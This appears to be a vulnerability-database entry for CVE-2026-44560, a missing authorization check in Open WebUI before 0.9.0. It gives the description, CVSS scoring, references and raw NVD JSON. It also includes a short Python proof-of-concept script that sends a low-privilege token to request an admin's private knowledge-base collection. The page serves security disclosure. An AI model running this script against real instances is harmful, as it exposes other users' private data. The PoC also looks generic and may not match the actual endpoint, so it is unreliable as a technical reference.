CVE-2026-44560

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the type: "file" (non-full-context), type: "text" with collection_name, and bare collection_name/collection_names paths in the get_sources_from_items function perform vector store queries without any authorization check, allowing users to extract content from files and knowledge bases they do not have access to. This vulnerability is fixed in 0.9.0.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-44560: Open WebUI Authorization Bypass
# This script demonstrates how an unauthorized user might access a specific collection.

import requests
import json

target_url = "http://target-open-webui-instance/api/v1/sources"
headers = {
    "Authorization": "Bearer <LOW_PRIVILEGE_TOKEN>",
    "Content-Type": "application/json"
}

# Malicious payload targeting a specific collection the user should not access
payload = {
    "type": "text",
    "collection_name": "admin-private-knowledge-base",  # Target collection
    "query": "secret"
}

try:
    response = requests.post(target_url, headers=headers, data=json.dumps(payload))
    if response.status_code == 200:
        print("[+] Exploit successful! Data retrieved:")
        print(response.json())
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44560
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44560
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44560/
[4] VulDB https://vuldb.com/cve/CVE-2026-44560
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-h36f-rqpx-j5wx

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44560", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:47.613", "lastModified": "2026-05-15T20:16:47.613", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the type: \"file\" (non-full-context), type: \"text\" with collection_name, and bare collection_name/collection_names paths in the get_sources_from_items function perform vector store queries without any authorization check, allowing users to extract content from files and knowledge bases they do not have access to. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-h36f-rqpx-j5wx", "source": "[email protected]"}]}}